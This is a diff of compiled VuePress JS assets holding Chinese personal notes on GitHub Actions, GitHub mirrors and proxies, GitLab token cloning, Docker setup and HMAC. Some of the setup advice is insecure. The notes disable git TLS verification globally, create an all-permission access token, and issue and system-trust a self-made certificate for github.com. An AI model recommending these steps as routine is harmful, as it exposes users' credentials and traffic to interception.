: Create Release
jobs.<job_id>.needs
: needs
字段指定当前任务的依赖关系,即运行顺序。
jobs :
+ job1 :
+ job2 :
+ needs : job1
+ job3 :
+ needs : [ job1, job2]
+
上面代码中,job1
必须先于job2
完成,而job3
等待job1
和job2
的完成才能运行。因此,这个 workflow 的运行顺序依次为:job1
、job2
、job3
。
`,2),qn=t(`jobs.<job_id>.runs-on
: runs-on
字段指定运行所需要的虚拟机环境。它是必填字段。目前可用的虚拟机如下。
ubuntu- latest,ubuntu- 18.04或ubuntu- 16.04
+windows- latest,windows- 2019或windows- 2016
+macOS- latest或macOS- 10.14
+
`,2),Cn={href:"https://docs.github.com/cn/github-ae@latest/actions/hosting-your-own-runners/about-self-hosted-runners",target:"_blank",rel:"noopener noreferrer"},Bn=t("jobs.<job_id>.steps
: steps
字段指定每个 Job 的运行步骤,可以包含一个或多个步骤。每个步骤都可以指定以下三个字段。
jobs.<job_id>.steps.name
:步骤名称。jobs.<job_id>.steps.run
:该步骤运行的命令或者 action。jobs.<job_id>.steps.env
:该步骤所需的环境变量。 ",1),jn=n("hr",null,null,-1),Gn=n("h2",{id:"markdown",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#markdown","aria-hidden":"true"},"#"),s(" Markdown")],-1),Hn=n("h3",{id:"数学公式",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#数学公式","aria-hidden":"true"},"#"),s(" 数学公式")],-1),Fn={href:"https://github.com/orsharir/github-mathjax/releases/tag/v0.2.1",target:"_blank",rel:"noopener noreferrer"},On=t('下载Source code(zip)
解压到`C:/Users/"你的用户名"/AppDataLocal/Google/Chrome/User Data/Default/Extensions 打开Chrome扩展程序,打开开发者模式 加载已解压的扩展程序 就是刚才放到上面目录里的整个文件夹 此时再打开Github查看源码就能显示markdown的数学公式了 ',1),Un=n("h2",{id:"webhooks",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#webhooks","aria-hidden":"true"},"#"),s(" webhooks")],-1),Rn=n("h3",{id:"借助钉钉的github机器人将仓库变动通知到钉钉群里",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#借助钉钉的github机器人将仓库变动通知到钉钉群里","aria-hidden":"true"},"#"),s(" 借助钉钉的Github机器人将仓库变动通知到钉钉群里")],-1),Tn={href:"https://blog.csdn.net/q563573095/article/details/79580249",target:"_blank",rel:"noopener noreferrer"},Ln=t("进入钉钉群聊 侧边栏第一个图标群设置
智能群助手 添加机器人 更多...
Github 机器人添加 复制Webhook链接 打开Github仓库 Settings 左侧边栏Webhooks
Add webhook
Payload URL
填刚才从钉钉Github机器人那里复制来的webhook链接其余选项自行发挥 Add webhook
push一次提交 ",3),Pn=n("h2",{id:"开源许可证选择",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#开源许可证选择","aria-hidden":"true"},"#"),s(" 开源许可证选择")],-1),Mn=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202302191539879.png",alt:"开源许可证选择",title:"屏幕截图.png"})],-1),zn={href:"http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html",target:"_blank",rel:"noopener noreferrer"},In=n("hr",null,null,-1),Kn=n("h2",{id:"常见问题",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#常见问题","aria-hidden":"true"},"#"),s(" 常见问题")],-1),Vn=n("h3",{id:"git过大",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#git过大","aria-hidden":"true"},"#"),s(" .git过大")],-1),Wn=n("li",null,[s("初用git时有时会错把资源文件传到源码仓库里去,这样下来仓库本身就会变得特别大,即使是后来删掉了资源文件也会导致"),n("code",null,".git"),s("文件过大从而直接"),n("code",null,"clone"),s("的时候可能会因为仓库过大而失败")],-1),$n=n("li",null,[s("提交次数过多也会让"),n("code",null,".git"),s("越来越大")],-1),Jn={href:"https://www.cnblogs.com/everlose/p/12826025.html",target:"_blank",rel:"noopener noreferrer"},Yn=n("code",null,"clone",-1),Qn=n("code",null,"--depth 1",-1),Xn=n("code",null,"commit",-1),Zn=n("hr",null,null,-1),ns=n("h3",{id:"腾讯云-github-连接超时问题",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#腾讯云-github-连接超时问题","aria-hidden":"true"},"#"),s(" 腾讯云 github 连接超时问题")],-1),ss={href:"https://cloud.tencent.com/developer/article/1704705",target:"_blank",rel:"noopener noreferrer"},as=n("li",null,"打开 ipaddress.com,查询github.com域名,记录下其对应的ip(IP Address项内容)",-1),es=n("li",null,[s("修改并保存"),n("code",null,"/etc/hosts"),s(":末尾加上"),n("div",{class:"language-text line-numbers-mode","data-ext":"text"},[n("pre",{class:"language-text"},[n("code",null,`查询到的域名 github.com
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"})])])],-1),ts=t(' 报错处理 网不好, 换个结点
OpenSSL SSL_read: Connection was reset, errno 10054
',6),os={href:"https://blog.csdn.net/myRealization/article/details/119737101",target:"_blank",rel:"noopener noreferrer"},is=t(`我碰到的情况是本地 git 配置错了, 前阵子在 github 上更改了主邮箱, 相应的本地配置要改下邮箱
git config --global user.email "xxx"
+
未成功归档/TODO Nginx 反代 Github(TODO: mark下, 没成功跑起来) `,6),ls=n("p",null,"本地测试环境 - ubuntu 20.04 LTS",-1),cs={href:"https://zhuanlan.zhihu.com/p/411165246",target:"_blank",rel:"noopener noreferrer"},ps=n("hr",null,null,-1),rs=n("h4",{id:"安装-nginx-和-openssl",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#安装-nginx-和-openssl","aria-hidden":"true"},"#"),s(" 安装 Nginx 和 OpenSSL")],-1),us={href:"https://zhuanlan.zhihu.com/p/138007915",target:"_blank",rel:"noopener noreferrer"},ds=n("hr",null,null,-1),hs=t(`sudo apt update
+sudo apt install nginx
+
一旦安装完成,Nginx 将会自动被启动。你可以运行下面的命令来验证它:
sudo systemctl status nginx
+
在你已经在你的服务器上安装和运行了 Nginx,你需要确保你的防火墙被配置好,允许流量通过 HTTP(80
)和 HTTPS(443
)端口。
假设你正在使用UFW
,你可以做的是启用 ‘Nginx Full’ profile,它包含了这两个端口:
sudo ufw allow 'Nginx Full'
+
想要验证状态,输入:
而如果使用的是厂商的云服务器则需要在服务器的控制面板的防火墙管理面板处放通端口(一般都是默认放通的)
`,7),ms={href:"https://www.openssl.net.cn/docs/8.html",target:"_blank",rel:"noopener noreferrer"},bs=n("hr",null,null,-1),ks=t(`服务器默认已经安装了 OpenSSL, 可以使用如下命令查看其版本及位置
openssl version
+whereis openssl
+
制作 CA 证书与签名证书
+openssl genrsa 2048 > ca.key
+
+
+export SUBJ = "/C=CN/ST=ST$RANDOM /O=O$RANDOM /OU=OU$RANDOM /CN=CN$RANDOM /emailAddress=$RANDOM @localhost"
+
+
+openssl req -new -x509 -days \` expr \\ ( \\ \` date -d 99991231 +%s\\ \` - \\ \` date +%s\\ \` \\ ) / 86400 + 1 \` \\
+ -key ca.key -out ca.pem -subj $SUBJ -extensions v3_ca
+
+
+
+
+
+
+
+
+openssl genrsa 1024 > nginx.key
+openssl req -new -nodes -key nginx.key -out nginx.csr -subj $SUBJ
+
+
+openssl x509 -req -days \` expr \\ ( \\ \` date -d 99991231 +%s\\ \` - \\ \` date +%s\\ \` \\ ) / 86400 + 1 \` \\
+ -in nginx.csr -out nginx.pem -CA ca.pem -CAkey ca.key -set_serial 0 -extensions CUSTOM_STRING_LIKE_SAN_KU\\
+ -extfile < ( cat << EOF
+[CUSTOM_STRING_LIKE_SAN_KU]
+subjectAltName=IP:127.0.0.1, IP: ::1 ,DNS:github.com, DNS:*.github.com, DNS:githubusercontent.com, DNS:*.githubusercontent.com
+keyUsage = nonRepudiation, digitalSignature, keyEncipherment
+EOF
+)
+
+
+
+
+
+
+
+
+
+
+
安装证书 `,7),vs={href:"https://qastack.cn/superuser/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu",target:"_blank",rel:"noopener noreferrer"},gs={href:"https://blog.csdn.net/shf4715/article/details/52804689",target:"_blank",rel:"noopener noreferrer"},_s=n("hr",null,null,-1),fs=t(`cp ca.pem /usr/local/share/ca-certificates/ca.crt
+update-ca-certificates
+mkdir /etc/nginx/ca && sudo cp nginx.pem nginx.key /etc/nginx/ca
+
配置 Nginx `,5);function ys(xs,ws){const a=i("ExternalLinkIcon");return l(),c("div",null,[r,n("blockquote",null,[n("p",null,[n("a",u,[s("eryajf/Thanks-Mirror: 整理记录各个包管理器,系统镜像,以及常用软件的好用镜像,Thanks Mirror。 走过路过,如觉不错,麻烦点个赞👆🌟 (github.com)"),e(a)])])]),d,h,m,n("ul",null,[n("li",null,[b,n("p",null,[s("提供了 GitHub 全站镜像,但注意不要在这个站登陆你的 GitHub 账号。详见"),n("a",k,[s("官方文档"),e(a)]),s("。")]),v,g]),n("li",null,[_,n("p",null,[s("提供了 "),f,s(" 全面的加速,详见"),n("a",y,[s("官方文档"),e(a)]),s("。")])]),x]),w,n("ul",null,[n("li",null,[n("p",null,[n("a",E,[s("油猴脚本"),e(a)])]),A]),n("li",null,[n("p",null,[n("a",S,[s("chrome插件"),e(a)])]),N])]),D,n("ul",null,[n("li",null,[n("a",q,[s("解决Github网页上图片显示失败的问题"),e(a)]),s("[参考链接]")]),C]),B,j,n("blockquote",null,[n("p",null,[n("a",G,[s("GIt设置代理 - 简书 (jianshu.com)"),e(a)])]),H]),F,n("blockquote",null,[n("p",null,[n("a",O,[s("git生成连接远程仓库的密钥_旁观者lgp的博客-CSDN博客"),e(a)])])]),U,n("blockquote",null,[n("p",null,[n("a",R,[s("【求助】开启OpenClash之后,无法使用 git clone/push,kex ssh 密钥错误 · Issue #1960 · vernesong/OpenClash (github.com)"),e(a)])]),T,n("p",null,[n("a",L,[s("使用Git时报错Connection reset by 20.205.243.166 port 22_Wrysmile0308的博客-CSDN博客"),e(a)])]),n("p",null,[n("a",P,[s("Has GitHub changed his remote host key ? · community · Discussion #50878 --- GitHub 更改了他的远程主机密钥吗? · 社区 · 讨论 #50878"),e(a)])]),n("p",null,[n("a",M,[s("We updated our RSA SSH host key - The GitHub Blog --- 我们更新了 RSA SSH 主机密钥 - GitHub 博客"),e(a)])])]),z,n("p",null,[n("a",I,[s("UvDream/git-commit-lint-vscode: vscode一款git 规范化提交插件 (github.com)"),e(a)])]),K,n("ul",null,[n("li",null,[n("a",V,[s("参考链接"),e(a)])]),W,$]),J,Y,n("blockquote",null,[n("p",null,[n("a",Q,[s("原文链接:GitHub Actions 入门教程 - 阮一峰的网络日志 (ruanyifeng.com)"),e(a)])]),n("p",null,[n("a",X,[s("关于工作流程 - GitHub Docs"),e(a)])])]),Z,nn,sn,n("p",null,[s("GitHub 做了一个"),n("a",an,[s("官方市场"),e(a)]),s(",可以搜索到他人提交的 actions。另外,还有一个 "),n("a",en,[s("awesome actions"),e(a)]),s(" 的仓库,也可以找到不少 action。")]),n("p",null,[s("每个 action 就是一个独立脚本,因此可以做成代码仓库,使用"),tn,s("的语法引用 action。比如,"),on,s("就表示"),ln,s("这个"),n("a",cn,[s("仓库"),e(a)]),s(",它代表一个 action,作用是安装 Node.js。事实上,GitHub 官方的 actions 都放在 "),n("a",pn,[s("github.com/actions"),e(a)]),s(" 里面。")]),n("p",null,[s("actions 是代码仓库,有版本的概念,用户可以引用某个具体版本的 action。下面都是合法的 action 引用,用的就是 Git 的指针概念,详见"),n("a",rn,[s("官方文档"),e(a)]),s("。")]),un,n("p",null,[s("workflow 文件采用 "),n("a",dn,[s("YAML 格式"),e(a)]),s(",文件名可以任意取,但是后缀名统一为"),hn,s(",比如"),mn,s("。一个库可以有多个 workflow 文件。GitHub 只要发现"),bn,s("目录里面有"),kn,s("文件,就会自动运行该文件。")]),vn,n("p",null,[s("workflow 文件的配置字段非常多,详见"),n("a",gn,[s("官方文档"),e(a)]),s("。下面是一些基本字段。")]),n("ul",null,[_n,n("li",null,[fn,n("p",null,[s("完整的事件列表,请查看"),n("a",yn,[s("官方文档"),e(a)]),s("。除了代码库事件,GitHub Actions 也支持外部事件触发,或者定时运行。")])]),n("li",null,[xn,n("p",null,[s("像这样类似的 "),wn,s(" 以及 "),En,s(" 关键词支持使用 "),An,s(" 和 "),Sn,s(" 通配符匹配多个路径名的 glob pattern; 更多信息请参阅“"),n("a",Nn,[s("过滤器模式备忘清单"),e(a)]),s("”。")])]),Dn,n("li",null,[qn,n("blockquote",null,[n("p",null,[n("a",Cn,[s("About self-hosted runners - GitHub Docs"),e(a)])])])]),Bn]),jn,Gn,Hn,n("ul",null,[n("li",null,[n("a",Fn,[s("访问该地址"),e(a)]),On])]),Un,Rn,n("ul",null,[n("li",null,[n("a",Tn,[s("参考链接"),e(a)])]),Ln]),Pn,Mn,n("blockquote",null,[n("p",null,[n("a",zn,[s("from 阮一峰-2011.5.2"),e(a)])])]),In,Kn,Vn,n("ul",null,[Wn,$n,n("li",null,[n("strong",null,[s("解决方法"),n("a",Jn,[s("@Ever-Lose"),e(a)])]),s(":如果确定之前的提交对现在已经没有用了,那么在"),Yn,s("仓库的时候在最后加上"),Qn,s("只克隆最后一次"),Xn])]),Zn,ns,n("ul",null,[n("li",null,[s("使用腾讯云北京的轻量应用服务器推送更新时总是连接超时,最终找到了有效的如下"),n("a",ss,[s("解决方案"),e(a)])]),as,es]),ts,n("blockquote",null,[n("p",null,[n("a",os,[s("【Git/GitHub】解决Git上传时OpenSSL SSL_read: Connection was reset, errno 10054的错误_memcpy0的博客-CSDN博客"),e(a)])])]),is,n("blockquote",null,[ls,n("p",null,[n("a",cs,[s("nginx本地反代github - 知乎 (zhihu.com)"),e(a)])]),ps]),rs,n("blockquote",null,[n("p",null,[n("a",us,[s("如何在 Ubuntu 20.04 上安装 Nginx - 知乎 (zhihu.com)"),e(a)])]),ds]),hs,n("blockquote",null,[n("p",null,[n("a",ms,[s("2.2.1 linux下的安装_OpenSSL 中文手册"),e(a)])]),bs]),ks,n("blockquote",null,[n("p",null,[n("a",vs,[s("如何将证书颁发机构(CA)添加到Ubuntu? (qastack.cn)"),e(a)])]),n("p",null,[n("a",gs,[s("Ubuntu安装系统根证书_孙海峰VIP的博客-CSDN博客_ubuntu安装根证书"),e(a)])]),_s]),fs])}const Ss=o(p,[["render",ys],["__file","Github.html.vue"]]);export{Ss as default};
diff --git a/assets/Gitlab.html-0a78bb0b.js b/assets/Gitlab.html-0a78bb0b.js
new file mode 100644
index 0000000000..c27c14b793
--- /dev/null
+++ b/assets/Gitlab.html-0a78bb0b.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-c66e5ee2","path":"/%E7%A4%BE%E5%8C%BA%E7%9B%B8%E5%85%B3/Gitlab.html","title":"Gitlab","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"配置 access_token 使用 https clone 仓库","slug":"配置-access-token-使用-https-clone-仓库","link":"#配置-access-token-使用-https-clone-仓库","children":[]},{"level":2,"title":"Gitlab 搭建(想了想不想维护, 就没再搭了)","slug":"gitlab-搭建-想了想不想维护-就没再搭了","link":"#gitlab-搭建-想了想不想维护-就没再搭了","children":[{"level":3,"title":"配置参考","slug":"配置参考","link":"#配置参考","children":[]},{"level":3,"title":"创建工作目录","slug":"创建工作目录","link":"#创建工作目录","children":[]},{"level":3,"title":"安装 docker 并拉取官方镜像","slug":"安装-docker-并拉取官方镜像","link":"#安装-docker-并拉取官方镜像","children":[]}]}],"git":{"createdTime":1667837978000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":2.01,"words":603},"filePathRelative":"社区相关/Gitlab.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/Gitlab.html-d1d79537.js b/assets/Gitlab.html-d1d79537.js
new file mode 100644
index 0000000000..93dd4c7233
--- /dev/null
+++ b/assets/Gitlab.html-d1d79537.js
@@ -0,0 +1,14 @@
+import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as c,c as i,b as e,e as a,d as s,f as t}from"./app-880c6425.js";const r={},d=t(' Gitlab 配置 access_token
使用 https clone 仓库 ',4),p={href:"https://stackoverflow.com/questions/25409700/using-gitlab-token-to-clone-without-authentication",target:"_blank",rel:"noopener noreferrer"},u=e("br",null,null,-1),h={href:"https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html",target:"_blank",rel:"noopener noreferrer"},b=e("br",null,null,-1),m={href:"https://blog.csdn.net/officercat/article/details/39989837",target:"_blank",rel:"noopener noreferrer"},g=e("hr",null,null,-1),k=t(`打开 Gitlab->偏好设置->访问令牌
配置一个权限全开的令牌, 点击 创建个人访问令牌
后会出现一个访问令牌字符串, 记录下该字符串, 本文之后将该字符串称为 access_token
在本地添加一条 git 配置, 取消 ssl 验证
git config --global http.sslVerify false
+
然后即可使用 https + access_token clone 仓库了
git clone https://oauth2:[ access_token] @gitlab.xxx.com/xxxx.git
+
其实就是在仓库的 https clone 链接中的 https://
后加上 oauth2:[access_token]
再把后面的链接拼接上即可
Gitlab 搭建(想了想不想维护, 就没再搭了) `,10),v={href:"https://docs.gitlab.com/15.2/ee/install/requirements.html",target:"_blank",rel:"noopener noreferrer"},f={href:"https://zhuanlan.zhihu.com/p/385951111",target:"_blank",rel:"noopener noreferrer"},_=e("h3",{id:"配置参考",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#配置参考","aria-hidden":"true"},"#"),a(" 配置参考")],-1),E={href:"https://docs.gitlab.com/ee/administration/package_information/supported_os.html#supported-operating-systems",target:"_blank",rel:"noopener noreferrer"},x=t(` 创建工作目录 安装 docker 并拉取官方镜像 `,5),B={href:"https://cloud.tencent.com/developer/article/1854430",target:"_blank",rel:"noopener noreferrer"},D={href:"https://kalacloud.com/blog/how-to-install-and-use-docker-on-ubuntu/",target:"_blank",rel:"noopener noreferrer"},A=t(`安装所需工具包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
+
更新现有的软件包列表
然后将官方 Docker 版本库的 GPG 密钥添加到系统中:
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
+
将 Docker 版本库添加到APT源:
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
+
用新添加的 Docker 软件包来进行升级更新。
确保要从 Docker 版本库,而不是默认的 Ubuntu 版本库进行安装:
apt-cache policy docker-ce
+
安装 Docker :
sudo apt install docker-ce
+
现在 Docker 已经安装完毕。我们启动守护程序。检查 Docker 是否正在运行:
sudo systemctl status docker
+
系统方面支持
`,18);function G(q,y){const n=l("ExternalLinkIcon");return c(),i("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[a("git - Using GitLab token to clone without authentication - Stack Overflow"),s(n)]),u,e("a",h,[a("Personal access tokens | GitLab"),s(n)]),b,e("a",m,[a("执行Git命令时出现各种 SSL certificate problem 的解决办法_officercat的博客-CSDN博客"),s(n)])]),g]),k,e("blockquote",null,[e("p",null,[e("a",v,[a("GitLab installation minimum requirements | GitLab"),s(n)])]),e("p",null,[e("a",f,[a("Ubuntu20.04 搭建 gitlab 服务 - 知乎 (zhihu.com)"),s(n)])])]),_,e("blockquote",null,[e("p",null,[e("a",E,[a("Supported operating systems | GitLab"),s(n)])])]),x,e("blockquote",null,[e("p",null,[e("a",B,[a("ubuntu安装docker详细步骤 - 腾讯云开发者社区-腾讯云 (tencent.com)"),s(n)])]),e("p",null,[e("a",D,[a("Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker - 卡拉云 (kalacloud.com)"),s(n)])])]),A])}const N=o(r,[["render",G],["__file","Gitlab.html.vue"]]);export{N as default};
diff --git a/assets/HMAC.html-1ac27749.js b/assets/HMAC.html-1ac27749.js
new file mode 100644
index 0000000000..85f907dfcd
--- /dev/null
+++ b/assets/HMAC.html-1ac27749.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-7f8dff6a","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/HMAC.html","title":"HMAC","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"公式和计算流程","slug":"公式和计算流程","link":"#公式和计算流程","children":[]},{"level":2,"title":"应用","slug":"应用","link":"#应用","children":[]},{"level":2,"title":"安全性","slug":"安全性","link":"#安全性","children":[]}],"git":{"createdTime":1668240869000,"updatedTime":1668240869000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":5.34,"words":1602},"filePathRelative":"网络安全/加密算法/HMAC.md","localizedDate":"2022年11月12日","excerpt":""}');export{e as data};
diff --git a/assets/HMAC.html-1fcc3637.js b/assets/HMAC.html-1fcc3637.js
new file mode 100644
index 0000000000..fcb9e8b5d1
--- /dev/null
+++ b/assets/HMAC.html-1fcc3637.js
@@ -0,0 +1 @@
+import{_ as t}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as m,c as r,b as l,e as s,d as n,f as e}from"./app-880c6425.js";const i={},c=l("h1",{id:"hmac",tabindex:"-1"},[l("a",{class:"header-anchor",href:"#hmac","aria-hidden":"true"},"#"),s(" HMAC")],-1),h={href:"https://zhuanlan.zhihu.com/p/136590049",target:"_blank",rel:"noopener noreferrer"},p={href:"https://docs.github.com/en/developers/webhooks-and-events/webhooks/securing-your-webhooks",target:"_blank",rel:"noopener noreferrer"},u={href:"https://zhuanlan.zhihu.com/p/398292957",target:"_blank",rel:"noopener noreferrer"},d={href:"https://www.liaoxuefeng.com/wiki/1252599548343744/1305366354722849",target:"_blank",rel:"noopener noreferrer"},g=l("p",null,[s("在身份认证过程中,有很多种方式可以保证用户信息的安全,"),l("code",null,"MAC(message authentication code)"),s(" 就是一种常用的方法。")],-1),_=l("p",null,"消息认证码是对消息进行认证并确认其完整性的技术。通过使用发送者和接收者之间共享的密钥,就可以识别出是否存在伪装和篡改行为。",-1),M=l("p",null,[s("MAC 是通过 "),l("strong",null,"MAC算法 + 密钥 + 要加密的信息一起计算"),s("得出的。")],-1),H=l("ul",null,[l("li",null,"Hash与MAC的区别,Hash只能保证消息的完整性,MAC不仅能够保证完整性,还能够保证真实性。")],-1),A={href:"https://www.liaoxuefeng.com/wiki/1252599548343744/1304227729113121",target:"_blank",rel:"noopener noreferrer"},f=l("hr",null,null,-1),b=l("p",null,"哈希算法(Hash)又称摘要算法(Digest),它的作用是:对任意一组输入数据进行计算,得到一个固定长度的输出摘要。",-1),C=l("p",null,"哈希算法最重要的特点就是:",-1),y=l("ul",null,[l("li",null,"相同的输入一定得到相同的输出;"),l("li",null,[s("不同的输入"),l("strong",null,"大概率"),s("得到不同的输出。")])],-1),w=l("p",null,"哈希算法的目的就是为了验证原始数据是否被篡改。",-1),x=l("ul",null,[l("li",null,[l("p",null,"同公私钥体系相比,因为MAC的密钥在发送方和接收方是一样的,所以发送方和接收方都可以来生成MAC,而公私钥体系因为将公钥和私钥分开,所以增加了不可抵赖性。")]),l("li",null,[l("p",null,[s("MAC有很多实现方式,比较通用的是基于 hash 算法的 MAC,比如 "),l("code",null,"HMAC"),s("。还有一种是基于分组密码的实现,比如``OMAC, CBC-MAC and PMAC`")])])],-1),k=l("hr",null,null,-1),K=l("p",null,[s("对于 Hash 算法 $$digest = hash(input)$$ 相同的输入会产生相同的输出,我们加盐的目的就在于,使得输入有所变化:"),l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mi",null,"d"),l("mi",null,"i"),l("mi",null,"g"),l("mi",null,"e"),l("mi",null,"s"),l("mi",null,"t"),l("mo",null,"="),l("mi",null,"h"),l("mi",null,"a"),l("mi",null,"s"),l("mi",null,"h"),l("mo",{stretchy:"false"},"("),l("mi",null,"s"),l("mi",null,"a"),l("mi",null,"l"),l("mi",null,"t"),l("mo",null,"+"),l("mi",null,"i"),l("mi",null,"n"),l("mi",null,"p"),l("mi",null,"u"),l("mi",null,"t"),l("mo",{stretchy:"false"},")")]),l("annotation",{encoding:"application/x-tex"},"digest = hash(salt + input)")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"0.8889em","vertical-align":"-0.1944em"}}),l("span",{class:"mord mathnormal"},"d"),l("span",{class:"mord mathnormal"},"i"),l("span",{class:"mord mathnormal",style:{"margin-right":"0.03588em"}},"g"),l("span",{class:"mord mathnormal"},"es"),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),l("span",{class:"mrel"},"="),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal"},"ha"),l("span",{class:"mord mathnormal"},"s"),l("span",{class:"mord mathnormal"},"h"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal"},"s"),l("span",{class:"mord mathnormal"},"a"),l("span",{class:"mord mathnormal"},"lt"),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}}),l("span",{class:"mbin"},"+"),l("span",{class:"mspace",style:{"margin-right":"0.2222em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal"},"in"),l("span",{class:"mord mathnormal"},"p"),l("span",{class:"mord mathnormal"},"u"),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mclose"},")")])])]),s(" 这个 salt 可以看作是一个额外的“认证码”,同样的输入,不同的认证码,会产生不同的输出。因此,要验证输出的哈希,必须同时提供“认证码”。")],-1),v=e('HMAC(Hash-based Message Authentication Code)
算法就是一种基于密钥的消息认证码算法, 是一种更安全的消息摘要算法.
HMAC算法是一种执行“校验和”的算法,它通过对数据进行“校验”来检查数据是否被更改了。在发送数据以前,HMAC算法对数据块和双方约定的公钥进行“散列操作”,以生成称为“摘要”的东西,附加在待发送的数据块中。当数据和摘要到达其目的地时,就使用HMAC算法来生成另一个校验和,如果两个数字相匹配,那么数据未被做任何篡改。否则,就意味着数据在传输或存储过程中 被篡改了。
HMAC 的 MAC 算法是 hash 算法,它可以是 MD5
, SHA-1
或者 SHA-256
,他们分别被称为 HMAC-MD5
,``HMAC-SHA1,
HMAC-SHA256`。
公式和计算流程 ',5),B={href:"https://www.cnblogs.com/shoshana-kong/p/11497676.html",target:"_blank",rel:"noopener noreferrer"},S={href:"https://zhuanlan.zhihu.com/p/136590049",target:"_blank",rel:"noopener noreferrer"},z=l("p",null,"HMAC 用公式可以表示为:",-1),L=l("p",null,[l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mi",null,"H"),l("mi",null,"M"),l("mi",null,"A"),l("mi",null,"C"),l("mo",{stretchy:"false"},"("),l("mi",null,"K"),l("mo",{separator:"true"},","),l("mi",null,"M"),l("mo",{stretchy:"false"},")"),l("mo",null,"="),l("mi",null,"H"),l("mo",{stretchy:"false"},"("),l("mi",null,"K"),l("mo",null,"⨁"),l("mi",null,"o"),l("mi",null,"p"),l("mi",null,"a"),l("mi",null,"d"),l("mo",{separator:"true"},","),l("mi",null,"H"),l("mo",{stretchy:"false"},"("),l("mi",null,"K"),l("mo",null,"⨁"),l("mi",null,"i"),l("mi",null,"p"),l("mi",null,"a"),l("mi",null,"d"),l("mo",{separator:"true"},","),l("mi",null,"t"),l("mi",null,"e"),l("mi",null,"x"),l("mi",null,"t"),l("mo",{stretchy:"false"},")"),l("mo",{stretchy:"false"},")")]),l("annotation",{encoding:"application/x-tex"},"HMAC(K, M) = H(K \\bigoplus opad , H(K \\bigoplus ipad, text))")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.08125em"}},"H"),l("span",{class:"mord mathnormal",style:{"margin-right":"0.10903em"}},"M"),l("span",{class:"mord mathnormal"},"A"),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"C"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"K"),l("span",{class:"mpunct"},","),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.10903em"}},"M"),l("span",{class:"mclose"},")"),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}}),l("span",{class:"mrel"},"="),l("span",{class:"mspace",style:{"margin-right":"0.2778em"}})]),l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.08125em"}},"H"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"K"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mop op-symbol small-op",style:{position:"relative",top:"0em"}},"⨁"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal"},"o"),l("span",{class:"mord mathnormal"},"p"),l("span",{class:"mord mathnormal"},"a"),l("span",{class:"mord mathnormal"},"d"),l("span",{class:"mpunct"},","),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal",style:{"margin-right":"0.08125em"}},"H"),l("span",{class:"mopen"},"("),l("span",{class:"mord mathnormal",style:{"margin-right":"0.07153em"}},"K"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mop op-symbol 